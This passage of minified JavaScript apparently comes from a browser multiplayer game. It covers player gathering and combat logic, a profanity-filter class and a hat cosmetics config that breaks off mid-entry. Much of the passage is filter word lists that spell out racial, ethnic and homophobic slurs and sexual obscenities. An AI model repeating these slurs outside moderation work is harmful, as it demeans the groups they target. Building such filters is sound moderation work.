for (var n = 0; n < e.req.length; ) {
if (this[e.req[n]] < Math.round(e.req[n + 1] * (t || 1)))
return !1;
n += 2
}
return !0
}
,
this.useRes = function(e, t) {
if (!n.inSandbox)
for (var i = 0; i < e.req.length; )
this.addResource(n.resourceTypes.indexOf(e.req[i]), -
Math.round(e.req[i + 1] * (t || 1))),
i += 2
}
,
this.canBuild = function(e) {
return !!n.inSandbox || !(e.group.limit && this.itemCounts[e.group.id]
>= e.group.limit) && this.hasRes(e)
}
,
this.gather = function() {
this.noMovTimer = 0,
this.slowMult -= p.weapons[this.weaponIndex].hitSlow || .3,
this.slowMult < 0 && (this.slowMult = 0);
for (var e, t, i, r = n.fetchVariant(this), o = r.poison, c = r.val, h
= {}, g = u.getGridArrays(this.x, this.y, p.weapons[this.weaponIndex].range), m =
0; m < g.length; ++m)
for (var y = 0; y < g[m].length; ++y)
if ((t = g[m][y]).active && !t.dontGather && !h[t.sid] &&
t.visibleToPlayer(this) && l.getDistance(this.x, this.y, t.x, t.y) - t.scale <=
p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x, this.y),
l.getAngleDist(e, this.dir) <= n.gatherAngle)) {
if (h[t.sid] = 1,
t.health) {
if (t.changeHealth(-p.weapons[this.weaponIndex].dmg * c
* (p.weapons[this.weaponIndex].sDmg || 1) * (this.skin && this.skin.bDmg ?
this.skin.bDmg : 1), this)) {
for (var k = 0; k < t.req.length; )

this.addResource(n.resourceTypes.indexOf(t.req[k]), t.req[k + 1]),


k += 2;
u.disableObj(t)
}
} else {
this.earnXP(4 * p.weapons[this.weaponIndex].gather);
var v = p.weapons[this.weaponIndex].gather + (3 ==
t.type ? 4 : 0);
this.skin && this.skin.extraGold && this.addResource(3,
1),
this.addResource(t.type, v)
}
i = !0,
u.hitObj(t, e)
}
for (y = 0; y < f.length + d.length; ++y)
if ((t = f[y] || d[y - f.length]) != this && t.alive && (!t.team ||
t.team != this.team) && l.getDistance(this.x, this.y, t.x, t.y) - 1.8 * t.scale <=
p.weapons[this.weaponIndex].range && (e = l.getDirection(t.x, t.y, this.x, this.y),
l.getAngleDist(e, this.dir) <= n.gatherAngle)) {
var w = p.weapons[this.weaponIndex].steal;
w && t.addResource && (w = Math.min(t.points || 0, w),
this.addResource(3, w),
t.addResource(3, -w));
var b = c;
null != t.weaponIndex && p.weapons[t.weaponIndex].shield &&
l.getAngleDist(e + Math.PI, t.dir) <= n.shieldAngle && (b =
p.weapons[t.weaponIndex].shield);
var x = p.weapons[this.weaponIndex].dmg * (this.skin &&
this.skin.dmgMultO ? this.skin.dmgMultO : 1) * (this.tail && this.tail.dmgMultO ?
this.tail.dmgMultO : 1)
, S = .3 * (t.weightM || 1) +
(p.weapons[this.weaponIndex].knock || 0);
t.xVel += S * s(e),
t.yVel += S * a(e),
this.skin && this.skin.healD && this.changeHealth(x * b *
this.skin.healD, this),
this.tail && this.tail.healD && this.changeHealth(x * b *
this.tail.healD, this),
t.skin && t.skin.dmg && 1 == b && this.changeHealth(-x *
t.skin.dmg, t),
t.tail && t.tail.dmg && 1 == b && this.changeHealth(-x *
t.tail.dmg, t),
!(t.dmgOverTime && this.skin && this.skin.poisonDmg) || t.skin
&& t.skin.poisonRes || (t.dmgOverTime.dmg = this.skin.poisonDmg,
t.dmgOverTime.time = this.skin.poisonTime || 1,
t.dmgOverTime.doer = this),
!t.dmgOverTime || !o || t.skin && t.skin.poisonRes ||
(t.dmgOverTime.dmg = 5,
t.dmgOverTime.time = 5,
t.dmgOverTime.doer = this),
t.skin && t.skin.dmgK && (this.xVel -= t.skin.dmgK * s(e),
this.yVel -= t.skin.dmgK * a(e)),
t.changeHealth(-x * b, this, this)
}
this.sendAnimation(i ? 1 : 0)
}
,
this.sendAnimation = function(e) {
for (var t = 0; t < f.length; ++t)
this.sentTo[f[t].id] && this.canSee(f[t]) && y.send(f[t].id, "7",
this.sid, e ? 1 : 0, this.weaponIndex)
}
;
var x = 0
, S = 0;
this.animate = function(e) {
this.animTime > 0 && (this.animTime -= e,
this.animTime <= 0 ? (this.animTime = 0,
this.dirPlus = 0,
x = 0,
S = 0) : 0 == S ? (x += e / (this.animSpeed * n.hitReturnRatio),
this.dirPlus = l.lerp(0, this.targetAngle, Math.min(1, x)),
x >= 1 && (x = 1,
S = 1)) : (x -= e / (this.animSpeed * (1 - n.hitReturnRatio)),
this.dirPlus = l.lerp(0, this.targetAngle, Math.max(0, x))))
}
,
this.startAnim = function(e, t) {
this.animTime = this.animSpeed = p.weapons[t].speed,
this.targetAngle = e ? -n.hitAngle : -Math.PI,
x = 0,
S = 0
}
,
this.canSee = function(e) {
if (!e)
return !1;
if (e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer)
return !1;
var t = r(e.x - this.x) - e.scale
, i = r(e.y - this.y) - e.scale;
return t <= n.maxScreenWidth / 2 * 1.3 && i <= n.maxScreenHeight / 2 *
1.3
}
}
}
, function(e, t, n) {
const i = n(50).words
, r = n(51).array;
e.exports = class {
constructor(e={}) {
Object.assign(this, {
list: e.emptyList && [] || Array.prototype.concat.apply(i, [r,
e.list || []]),
exclude: e.exclude || [],
placeHolder: e.placeHolder || "*",
regex: e.regex || /[^a-zA-Z0-9|\$|\@]|\^/g,
replaceRegex: e.replaceRegex || /\w/g
})
}
isProfane(e) {
return this.list.filter(t=>{
const n = new RegExp(`\\b${t.replace(/(\W)/g, "\\$1")}\\b`,"gi");
return !this.exclude.includes(t.toLowerCase()) && n.test(e)
}
).length > 0 || !1
}
replaceWord(e) {
return e.replace(this.regex, "").replace(this.replaceRegex,
this.placeHolder)
}
clean(e) {
return e.split(/\b/).map(e=>this.isProfane(e) ? this.replaceWord(e) :
e).join("")
}
addWords() {
let e = Array.from(arguments);
this.list.push(...e),
e.map(e=>e.toLowerCase()).forEach(e=>{
this.exclude.includes(e) &&
this.exclude.splice(this.exclude.indexOf(e), 1)
}
)
}
removeWords() {
this.exclude.push(...Array.from(arguments).map(e=>e.toLowerCase()))
}
}
}
, function(e) {
e.exports = {
words: ["ahole", "anus", "ash0le", "ash0les", "asholes", "ass", "Ass
Monkey", "Assface", "assh0le", "assh0lez", "asshole", "assholes", "assholz",
"asswipe", "azzhole", "bassterds", "bastard", "bastards", "bastardz", "basterds",
"basterdz", "Biatch", "bitch", "bitches", "Blow Job", "boffing", "butthole",
"buttwipe", "c0ck", "c0cks", "c0k", "Carpet Muncher", "cawk", "cawks", "Clit",
"cnts", "cntz", "cock", "cockhead", "cock-head", "cocks", "CockSucker", "cock-
sucker", "crap", "cum", "cunt", "cunts", "cuntz", "dick", "dild0", "dild0s",
"dildo", "dildos", "dilld0", "dilld0s", "dominatricks", "dominatrics",
"dominatrix", "dyke", "enema", "f u c k", "f u c k e r", "fag", "fag1t", "faget",
"fagg1t", "faggit", "faggot", "fagg0t", "fagit", "fags", "fagz", "faig", "faigs",
"fart", "flipping the bird", "fuck", "fucker", "fuckin", "fucking", "fucks", "Fudge
Packer", "fuk", "Fukah", "Fuken", "fuker", "Fukin", "Fukk", "Fukkah", "Fukken",
"Fukker", "Fukkin", "g00k", "God-damned", "h00r", "h0ar", "h0re", "hells", "hoar",
"hoor", "hoore", "jackoff", "jap", "japs", "jerk-off", "jisim", "jiss", "jizm",
"jizz", "knob", "knobs", "knobz", "kunt", "kunts", "kuntz", "Lezzian", "Lipshits",
"Lipshitz", "masochist", "masokist", "massterbait", "masstrbait", "masstrbate",
"masterbaiter", "masterbate", "masterbates", "Motha Fucker", "Motha Fuker", "Motha
Fukkah", "Motha Fukker", "Mother Fucker", "Mother Fukah", "Mother Fuker", "Mother
Fukkah", "Mother Fukker", "mother-fucker", "Mutha Fucker", "Mutha Fukah", "Mutha
Fuker", "Mutha Fukkah", "Mutha Fukker", "n1gr", "nastt", "nigger;", "nigur;",
"niiger;", "niigr;", "orafis", "orgasim;", "orgasm", "orgasum", "oriface",
"orifice", "orifiss", "packi", "packie", "packy", "paki", "pakie", "paky",
"pecker", "peeenus", "peeenusss", "peenus", "peinus", "pen1s", "penas", "penis",
"penis-breath", "penus", "penuus", "Phuc", "Phuck", "Phuk", "Phuker", "Phukker",
"polac", "polack", "polak", "Poonani", "pr1c", "pr1ck", "pr1k", "pusse", "pussee",
"pussy", "puuke", "puuker", "queer", "queers", "queerz", "qweers", "qweerz",
"qweir", "recktum", "rectum", "retard", "sadist", "scank", "schlong", "screwing",
"semen", "sex", "sexy", "Sh!t", "sh1t", "sh1ter", "sh1ts", "sh1tter", "sh1tz",
"shit", "shits", "shitter", "Shitty", "Shity", "shitz", "Shyt", "Shyte", "Shytty",
"Shyty", "skanck", "skank", "skankee", "skankey", "skanks", "Skanky", "slag",
"slut", "sluts", "Slutty", "slutz", "son-of-a-bitch", "tit", "turd", "va1jina",
"vag1na", "vagiina", "vagina", "vaj1na", "vajina", "vullva", "vulva", "w0p",
"wh00r", "wh0re", "whore", "xrated", "xxx", "b!+ch", "bitch", "blowjob", "clit",
"arschloch", "fuck", "shit", "ass", "asshole", "b!tch", "b17ch", "b1tch",
"bastard", "bi+ch", "boiolas", "buceta", "c0ck", "cawk", "chink", "cipa", "clits",
"cock", "cum", "cunt", "dildo", "dirsa", "ejakulate", "fatass", "fcuk", "fuk",
"fux0r", "hoer", "hore", "jism", "kawk", "l3itch", "l3i+ch", "lesbian",
"masturbate", "masterbat*", "masterbat3", "motherfucker", "s.o.b.", "mofo", "nazi",
"nigga", "nigger", "nutsack", "phuck", "pimpis", "pusse", "pussy", "scrotum", "sh!
t", "shemale", "shi+", "sh!+", "slut", "smut", "teets", "tits", "boobs", "b00bs",
"teez", "testical", "testicle", "titt", "w00se", "jackoff", "wank", "whoar",
"whore", "*damn", "*dyke", "*fuck*", "*shit*", "@$$", "amcik", "andskota", "arse*",
"assrammer", "ayir", "bi7ch", "bitch*", "bollock*", "breasts", "butt-pirate",
"cabron", "cazzo", "chraa", "chuj", "Cock*", "cunt*", "d4mn", "daygo", "dego",
"dick*", "dike*", "dupa", "dziwka", "ejackulate", "Ekrem*", "Ekto", "enculer",
"faen", "fag*", "fanculo", "fanny", "feces", "feg", "Felcher", "ficken", "fitt*",
"Flikker", "foreskin", "Fotze", "Fu(*", "fuk*", "futkretzn", "gook", "guiena",
"h0r", "h4x0r", "hell", "helvete", "hoer*", "honkey", "Huevon", "hui", "injun",
"jizz", "kanker*", "kike", "klootzak", "kraut", "knulle", "kuk", "kuksuger",
"Kurac", "kurwa", "kusi*", "kyrpa*", "lesbo", "mamhoon", "masturbat*", "merd*",
"mibun", "monkleigh", "mouliewop", "muie", "mulkku", "muschi", "nazis",
"nepesaurio", "nigger*", "orospu", "paska*", "perse", "picka", "pierdol*",
"pillu*", "pimmel", "piss*", "pizda", "poontsee", "poop", "porn", "p0rn", "pr0n",
"preteen", "pula", "pule", "puta", "puto", "qahbeh", "queef*", "rautenberg",
"schaffer", "scheiss*", "schlampe", "schmuck", "screw", "sh!t*", "sharmuta",
"sharmute", "shipal", "shiz", "skribz", "skurwysyn", "sphencter", "spic",
"spierdalaj", "splooge", "suka", "b00b*", "testicle*", "titt*", "twat", "vittu",
"wank*", "wetback*", "wichser", "wop*", "yed", "zabourah"]
}
}
, function(e, t, n) {
e.exports = {
object: n(52),
array: n(53),
regex: n(54)
}
}
, function(e, t) {
e.exports = {
"4r5e": 1,
"5h1t": 1,
"5hit": 1,
a55: 1,
anal: 1,
anus: 1,
ar5e: 1,
arrse: 1,
arse: 1,
ass: 1,
"ass-fucker": 1,
asses: 1,
assfucker: 1,
assfukka: 1,
asshole: 1,
assholes: 1,
asswhole: 1,
a_s_s: 1,
"b!tch": 1,
b00bs: 1,
b17ch: 1,
b1tch: 1,
ballbag: 1,
balls: 1,
ballsack: 1,
bastard: 1,
beastial: 1,
beastiality: 1,
bellend: 1,
bestial: 1,
bestiality: 1,
"bi+ch": 1,
biatch: 1,
bitch: 1,
bitcher: 1,
bitchers: 1,
bitches: 1,
bitchin: 1,
bitching: 1,
bloody: 1,
"blow job": 1,
blowjob: 1,
blowjobs: 1,
boiolas: 1,
bollock: 1,
bollok: 1,
boner: 1,
boob: 1,
boobs: 1,
booobs: 1,
boooobs: 1,
booooobs: 1,
booooooobs: 1,
breasts: 1,
buceta: 1,
bugger: 1,
bum: 1,
"bunny fucker": 1,
butt: 1,
butthole: 1,
buttmuch: 1,
buttplug: 1,
c0ck: 1,
c0cksucker: 1,
"carpet muncher": 1,
cawk: 1,
chink: 1,
cipa: 1,
cl1t: 1,
clit: 1,
clitoris: 1,
clits: 1,
cnut: 1,
cock: 1,
"cock-sucker": 1,
cockface: 1,
cockhead: 1,
cockmunch: 1,
cockmuncher: 1,
cocks: 1,
cocksuck: 1,
cocksucked: 1,
cocksucker: 1,
cocksucking: 1,
cocksucks: 1,
cocksuka: 1,
cocksukka: 1,
cok: 1,
cokmuncher: 1,
coksucka: 1,
coon: 1,
cox: 1,
crap: 1,
cum: 1,
cummer: 1,
cumming: 1,
cums: 1,
cumshot: 1,
cunilingus: 1,
cunillingus: 1,
cunnilingus: 1,
cunt: 1,
cuntlick: 1,
cuntlicker: 1,
cuntlicking: 1,
cunts: 1,
cyalis: 1,
cyberfuc: 1,
cyberfuck: 1,
cyberfucked: 1,
cyberfucker: 1,
cyberfuckers: 1,
cyberfucking: 1,
d1ck: 1,
damn: 1,
dick: 1,
dickhead: 1,
dildo: 1,
dildos: 1,
dink: 1,
dinks: 1,
dirsa: 1,
dlck: 1,
"dog-fucker": 1,
doggin: 1,
dogging: 1,
donkeyribber: 1,
doosh: 1,
duche: 1,
dyke: 1,
ejaculate: 1,
ejaculated: 1,
ejaculates: 1,
ejaculating: 1,
ejaculatings: 1,
ejaculation: 1,
ejakulate: 1,
"f u c k": 1,
"f u c k e r": 1,
f4nny: 1,
fag: 1,
fagging: 1,
faggitt: 1,
faggot: 1,
faggs: 1,
fagot: 1,
fagots: 1,
fags: 1,
fanny: 1,
fannyflaps: 1,
fannyfucker: 1,
fanyy: 1,
fatass: 1,
fcuk: 1,
fcuker: 1,
fcuking: 1,
feck: 1,
fecker: 1,
felching: 1,
fellate: 1,
fellatio: 1,
fingerfuck: 1,
fingerfucked: 1,
fingerfucker: 1,
fingerfuckers: 1,
fingerfucking: 1,
fingerfucks: 1,
fistfuck: 1,
fistfucked: 1,
fistfucker: 1,
fistfuckers: 1,
fistfucking: 1,
fistfuckings: 1,
fistfucks: 1,
flange: 1,
fook: 1,
fooker: 1,
fuck: 1,
fucka: 1,
fucked: 1,
fucker: 1,
fuckers: 1,
fuckhead: 1,
fuckheads: 1,
fuckin: 1,
fucking: 1,
fuckings: 1,
fuckingshitmotherfucker: 1,
fuckme: 1,
fucks: 1,
fuckwhit: 1,
fuckwit: 1,
"fudge packer": 1,
fudgepacker: 1,
fuk: 1,
fuker: 1,
fukker: 1,
fukkin: 1,
fuks: 1,
fukwhit: 1,
fukwit: 1,
fux: 1,
fux0r: 1,
f_u_c_k: 1,
gangbang: 1,
gangbanged: 1,
gangbangs: 1,
gaylord: 1,
gaysex: 1,
goatse: 1,
God: 1,
"god-dam": 1,
"god-damned": 1,
goddamn: 1,
goddamned: 1,
hardcoresex: 1,
hell: 1,
heshe: 1,
hoar: 1,
hoare: 1,
hoer: 1,
homo: 1,
hore: 1,
horniest: 1,
horny: 1,
hotsex: 1,
"jack-off": 1,
jackoff: 1,
jap: 1,
"jerk-off": 1,
jism: 1,
jiz: 1,
jizm: 1,
jizz: 1,
kawk: 1,
knob: 1,
knobead: 1,
knobed: 1,
knobend: 1,
knobhead: 1,
knobjocky: 1,
knobjokey: 1,
kock: 1,
kondum: 1,
kondums: 1,
kum: 1,
kummer: 1,
kumming: 1,
kums: 1,
kunilingus: 1,
"l3i+ch": 1,
l3itch: 1,
labia: 1,
lust: 1,
lusting: 1,
m0f0: 1,
m0fo: 1,
m45terbate: 1,
ma5terb8: 1,
ma5terbate: 1,
masochist: 1,
"master-bate": 1,
masterb8: 1,
"masterbat*": 1,
masterbat3: 1,
masterbate: 1,
masterbation: 1,
masterbations: 1,
masturbate: 1,
"mo-fo": 1,
mof0: 1,
mofo: 1,
mothafuck: 1,
mothafucka: 1,
mothafuckas: 1,
mothafuckaz: 1,
mothafucked: 1,
mothafucker: 1,
mothafuckers: 1,
mothafuckin: 1,
mothafucking: 1,
mothafuckings: 1,
mothafucks: 1,
"mother fucker": 1,
motherfuck: 1,
motherfucked: 1,
motherfucker: 1,
motherfuckers: 1,
motherfuckin: 1,
motherfucking: 1,
motherfuckings: 1,
motherfuckka: 1,
motherfucks: 1,
muff: 1,
mutha: 1,
muthafecker: 1,
muthafuckker: 1,
muther: 1,
mutherfucker: 1,
n1gga: 1,
n1gger: 1,
nazi: 1,
nigg3r: 1,
nigg4h: 1,
nigga: 1,
niggah: 1,
niggas: 1,
niggaz: 1,
nigger: 1,
niggers: 1,
nob: 1,
"nob jokey": 1,
nobhead: 1,
nobjocky: 1,
nobjokey: 1,
numbnuts: 1,
nutsack: 1,
orgasim: 1,
orgasims: 1,
orgasm: 1,
orgasms: 1,
p0rn: 1,
pawn: 1,
pecker: 1,
penis: 1,
penisfucker: 1,
phonesex: 1,
phuck: 1,
phuk: 1,
phuked: 1,
phuking: 1,
phukked: 1,
phukking: 1,
phuks: 1,
phuq: 1,
pigfucker: 1,
pimpis: 1,
piss: 1,
pissed: 1,
pisser: 1,
pissers: 1,
pisses: 1,
pissflaps: 1,
pissin: 1,
pissing: 1,
pissoff: 1,
poop: 1,
porn: 1,
porno: 1,
pornography: 1,
pornos: 1,
prick: 1,
pricks: 1,
pron: 1,
pube: 1,
pusse: 1,
pussi: 1,
pussies: 1,
pussy: 1,
pussys: 1,
rectum: 1,
retard: 1,
rimjaw: 1,
rimming: 1,
"s hit": 1,
"s.o.b.": 1,
sadist: 1,
schlong: 1,
screwing: 1,
scroat: 1,
scrote: 1,
scrotum: 1,
semen: 1,
sex: 1,
"sh!+": 1,
"sh!t": 1,
sh1t: 1,
shag: 1,
shagger: 1,
shaggin: 1,
shagging: 1,
shemale: 1,
"shi+": 1,
shit: 1,
shitdick: 1,
shite: 1,
shited: 1,
shitey: 1,
shitfuck: 1,
shitfull: 1,
shithead: 1,
shiting: 1,
shitings: 1,
shits: 1,
shitted: 1,
shitter: 1,
shitters: 1,
shitting: 1,
shittings: 1,
shitty: 1,
skank: 1,
slut: 1,
sluts: 1,
smegma: 1,
smut: 1,
snatch: 1,
"son-of-a-bitch": 1,
spac: 1,
spunk: 1,
s_h_i_t: 1,
t1tt1e5: 1,
t1tties: 1,
teets: 1,
teez: 1,
testical: 1,
testicle: 1,
tit: 1,
titfuck: 1,
tits: 1,
titt: 1,
tittie5: 1,
tittiefucker: 1,
titties: 1,
tittyfuck: 1,
tittywank: 1,
titwank: 1,
tosser: 1,
turd: 1,
tw4t: 1,
twat: 1,
twathead: 1,
twatty: 1,
twunt: 1,
twunter: 1,
v14gra: 1,
v1gra: 1,
vagina: 1,
viagra: 1,
vulva: 1,
w00se: 1,
wang: 1,
wank: 1,
wanker: 1,
wanky: 1,
whoar: 1,
whore: 1,
willies: 1,
willy: 1,
xrated: 1,
xxx: 1
}
}
, function(e, t) {
e.exports = ["4r5e", "5h1t", "5hit", "a55", "anal", "anus", "ar5e", "arrse",
"arse", "ass", "ass-fucker", "asses", "assfucker", "assfukka", "asshole",
"assholes", "asswhole", "a_s_s", "b!tch", "b00bs", "b17ch", "b1tch", "ballbag",
"balls", "ballsack", "bastard", "beastial", "beastiality", "bellend", "bestial",
"bestiality", "bi+ch", "biatch", "bitch", "bitcher", "bitchers", "bitches",
"bitchin", "bitching", "bloody", "blow job", "blowjob", "blowjobs", "boiolas",
"bollock", "bollok", "boner", "boob", "boobs", "booobs", "boooobs", "booooobs",
"booooooobs", "breasts", "buceta", "bugger", "bum", "bunny fucker", "butt",
"butthole", "buttmuch", "buttplug", "c0ck", "c0cksucker", "carpet muncher", "cawk",
"chink", "cipa", "cl1t", "clit", "clitoris", "clits", "cnut", "cock", "cock-
sucker", "cockface", "cockhead", "cockmunch", "cockmuncher", "cocks", "cocksuck",
"cocksucked", "cocksucker", "cocksucking", "cocksucks", "cocksuka", "cocksukka",
"cok", "cokmuncher", "coksucka", "coon", "cox", "crap", "cum", "cummer", "cumming",
"cums", "cumshot", "cunilingus", "cunillingus", "cunnilingus", "cunt", "cuntlick",
"cuntlicker", "cuntlicking", "cunts", "cyalis", "cyberfuc", "cyberfuck",
"cyberfucked", "cyberfucker", "cyberfuckers", "cyberfucking", "d1ck", "damn",
"dick", "dickhead", "dildo", "dildos", "dink", "dinks", "dirsa", "dlck", "dog-
fucker", "doggin", "dogging", "donkeyribber", "doosh", "duche", "dyke",
"ejaculate", "ejaculated", "ejaculates", "ejaculating", "ejaculatings",
"ejaculation", "ejakulate", "f u c k", "f u c k e r", "f4nny", "fag", "fagging",
"faggitt", "faggot", "faggs", "fagot", "fagots", "fags", "fanny", "fannyflaps",
"fannyfucker", "fanyy", "fatass", "fcuk", "fcuker", "fcuking", "feck", "fecker",
"felching", "fellate", "fellatio", "fingerfuck", "fingerfucked", "fingerfucker",
"fingerfuckers", "fingerfucking", "fingerfucks", "fistfuck", "fistfucked",
"fistfucker", "fistfuckers", "fistfucking", "fistfuckings", "fistfucks", "flange",
"fook", "fooker", "fuck", "fucka", "fucked", "fucker", "fuckers", "fuckhead",
"fuckheads", "fuckin", "fucking", "fuckings", "fuckingshitmotherfucker", "fuckme",
"fucks", "fuckwhit", "fuckwit", "fudge packer", "fudgepacker", "fuk", "fuker",
"fukker", "fukkin", "fuks", "fukwhit", "fukwit", "fux", "fux0r", "f_u_c_k",
"gangbang", "gangbanged", "gangbangs", "gaylord", "gaysex", "goatse", "God", "god-
dam", "god-damned", "goddamn", "goddamned", "hardcoresex", "hell", "heshe", "hoar",
"hoare", "hoer", "homo", "hore", "horniest", "horny", "hotsex", "jack-off",
"jackoff", "jap", "jerk-off", "jism", "jiz", "jizm", "jizz", "kawk", "knob",
"knobead", "knobed", "knobend", "knobhead", "knobjocky", "knobjokey", "kock",
"kondum", "kondums", "kum", "kummer", "kumming", "kums", "kunilingus", "l3i+ch",
"l3itch", "labia", "lust", "lusting", "m0f0", "m0fo", "m45terbate", "ma5terb8",
"ma5terbate", "masochist", "master-bate", "masterb8", "masterbat*", "masterbat3",
"masterbate", "masterbation", "masterbations", "masturbate", "mo-fo", "mof0",
"mofo", "mothafuck", "mothafucka", "mothafuckas", "mothafuckaz", "mothafucked",
"mothafucker", "mothafuckers", "mothafuckin", "mothafucking", "mothafuckings",
"mothafucks", "mother fucker", "motherfuck", "motherfucked", "motherfucker",
"motherfuckers", "motherfuckin", "motherfucking", "motherfuckings", "motherfuckka",
"motherfucks", "muff", "mutha", "muthafecker", "muthafuckker", "muther",
"mutherfucker", "n1gga", "n1gger", "nazi", "nigg3r", "nigg4h", "nigga", "niggah",
"niggas", "niggaz", "nigger", "niggers", "nob", "nob jokey", "nobhead", "nobjocky",
"nobjokey", "numbnuts", "nutsack", "orgasim", "orgasims", "orgasm", "orgasms",
"p0rn", "pawn", "pecker", "penis", "penisfucker", "phonesex", "phuck", "phuk",
"phuked", "phuking", "phukked", "phukking", "phuks", "phuq", "pigfucker", "pimpis",
"piss", "pissed", "pisser", "pissers", "pisses", "pissflaps", "pissin", "pissing",
"pissoff", "poop", "porn", "porno", "pornography", "pornos", "prick", "pricks",
"pron", "pube", "pusse", "pussi", "pussies", "pussy", "pussys", "rectum", "retard",
"rimjaw", "rimming", "s hit", "s.o.b.", "sadist", "schlong", "screwing", "scroat",
"scrote", "scrotum", "semen", "sex", "sh!+", "sh!t", "sh1t", "shag", "shagger",
"shaggin", "shagging", "shemale", "shi+", "shit", "shitdick", "shite", "shited",
"shitey", "shitfuck", "shitfull", "shithead", "shiting", "shitings", "shits",
"shitted", "shitter", "shitters", "shitting", "shittings", "shitty", "skank",
"slut", "sluts", "smegma", "smut", "snatch", "son-of-a-bitch", "spac", "spunk",
"s_h_i_t", "t1tt1e5", "t1tties", "teets", "teez", "testical", "testicle", "tit",
"titfuck", "tits", "titt", "tittie5", "tittiefucker", "titties", "tittyfuck",
"tittywank", "titwank", "tosser", "turd", "tw4t", "twat", "twathead", "twatty",
"twunt", "twunter", "v14gra", "v1gra", "vagina", "viagra", "vulva", "w00se",
"wang", "wank", "wanker", "wanky", "whoar", "whore", "willies", "willy", "xrated",
"xxx"]
}
, function(e, t) {
e.exports = /\b(4r5e|5h1t|5hit|a55|anal|anus|ar5e|arrse|arse|ass|ass-fucker|
asses|assfucker|assfukka|asshole|assholes|asswhole|a_s_s|b!tch|b00bs|b17ch|b1tch|
ballbag|balls|ballsack|bastard|beastial|beastiality|bellend|bestial|bestiality|bi\
+ch|biatch|bitch|bitcher|bitchers|bitches|bitchin|bitching|bloody|blow job|blowjob|
blowjobs|boiolas|bollock|bollok|boner|boob|boobs|booobs|boooobs|booooobs|
booooooobs|breasts|buceta|bugger|bum|bunny fucker|butt|butthole|buttmuch|buttplug|
c0ck|c0cksucker|carpet muncher|cawk|chink|cipa|cl1t|clit|clitoris|clits|cnut|cock|
cock-sucker|cockface|cockhead|cockmunch|cockmuncher|cocks|cocksuck|cocksucked|
cocksucker|cocksucking|cocksucks|cocksuka|cocksukka|cok|cokmuncher|coksucka|coon|
cox|crap|cum|cummer|cumming|cums|cumshot|cunilingus|cunillingus|cunnilingus|cunt|
cuntlick|cuntlicker|cuntlicking|cunts|cyalis|cyberfuc|cyberfuck|cyberfucked|
cyberfucker|cyberfuckers|cyberfucking|d1ck|damn|dick|dickhead|dildo|dildos|dink|
dinks|dirsa|dlck|dog-fucker|doggin|dogging|donkeyribber|doosh|duche|dyke|ejaculate|
ejaculated|ejaculates|ejaculating|ejaculatings|ejaculation|ejakulate|f u c k|f u c
k e r|f4nny|fag|fagging|faggitt|faggot|faggs|fagot|fagots|fags|fanny|fannyflaps|
fannyfucker|fanyy|fatass|fcuk|fcuker|fcuking|feck|fecker|felching|fellate|fellatio|
fingerfuck|fingerfucked|fingerfucker|fingerfuckers|fingerfucking|fingerfucks|
fistfuck|fistfucked|fistfucker|fistfuckers|fistfucking|fistfuckings|fistfucks|
flange|fook|fooker|fuck|fucka|fucked|fucker|fuckers|fuckhead|fuckheads|fuckin|
fucking|fuckings|fuckingshitmotherfucker|fuckme|fucks|fuckwhit|fuckwit|fudge
packer|fudgepacker|fuk|fuker|fukker|fukkin|fuks|fukwhit|fukwit|fux|fux0r|f_u_c_k|
gangbang|gangbanged|gangbangs|gaylord|gaysex|goatse|God|god-dam|god-damned|goddamn|
goddamned|hardcoresex|hell|heshe|hoar|hoare|hoer|homo|hore|horniest|horny|hotsex|
jack-off|jackoff|jap|jerk-off|jism|jiz|jizm|jizz|kawk|knob|knobead|knobed|knobend|
knobhead|knobjocky|knobjokey|kock|kondum|kondums|kum|kummer|kumming|kums|
kunilingus|l3i\+ch|l3itch|labia|lust|lusting|m0f0|m0fo|m45terbate|ma5terb8|
ma5terbate|masochist|master-bate|masterb8|masterbat*|masterbat3|masterbate|
masterbation|masterbations|masturbate|mo-fo|mof0|mofo|mothafuck|mothafucka|
mothafuckas|mothafuckaz|mothafucked|mothafucker|mothafuckers|mothafuckin|
mothafucking|mothafuckings|mothafucks|mother fucker|motherfuck|motherfucked|
motherfucker|motherfuckers|motherfuckin|motherfucking|motherfuckings|motherfuckka|
motherfucks|muff|mutha|muthafecker|muthafuckker|muther|mutherfucker|n1gga|n1gger|
nazi|nigg3r|nigg4h|nigga|niggah|niggas|niggaz|nigger|niggers|nob|nob jokey|nobhead|
nobjocky|nobjokey|numbnuts|nutsack|orgasim|orgasims|orgasm|orgasms|p0rn|pawn|
pecker|penis|penisfucker|phonesex|phuck|phuk|phuked|phuking|phukked|phukking|phuks|
phuq|pigfucker|pimpis|piss|pissed|pisser|pissers|pisses|pissflaps|pissin|pissing|
pissoff|poop|porn|porno|pornography|pornos|prick|pricks|pron|pube|pusse|pussi|
pussies|pussy|pussys|rectum|retard|rimjaw|rimming|s hit|s.o.b.|sadist|schlong|
screwing|scroat|scrote|scrotum|semen|sex|sh!\+|sh!t|sh1t|shag|shagger|shaggin|
shagging|shemale|shi\+|shit|shitdick|shite|shited|shitey|shitfuck|shitfull|
shithead|shiting|shitings|shits|shitted|shitter|shitters|shitting|shittings|shitty|
skank|slut|sluts|smegma|smut|snatch|son-of-a-bitch|spac|spunk|s_h_i_t|t1tt1e5|
t1tties|teets|teez|testical|testicle|tit|titfuck|tits|titt|tittie5|tittiefucker|
titties|tittyfuck|tittywank|titwank|tosser|turd|tw4t|twat|twathead|twatty|twunt|
twunter|v14gra|v1gra|vagina|viagra|vulva|w00se|wang|wank|wanker|wanky|whoar|whore|
willies|willy|xrated|xxx)\b/gi
}
, function(e, t) {
e.exports.hats = [{
id: 45,
name: "Shame!",
dontSell: !0,
price: 0,
scale: 120,
desc: "hacks are for losers"
}, {
id: 51,
name: "Moo Cap",
price: 0,
scale: 120,
desc: "coolest mooer around"
}, {
id: 50,
name: "Apple Cap",
price: 0,
scale: 120,
desc: "apple farms remembers"
}, {
id: 28,
name: "Moo Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 29,
name: "Pig Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 30,
name: "Fluff Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 36,
name: "Pandou Head",
price: 0,
scale: 150,
desc: "no effect"
}, {
id: 37,
name: "Bear Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 38,
name: "Monkey Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 44,
name: "Polar Head",
price: 0,
scale: 120,
desc: "no effect"
}, {
id: 35,
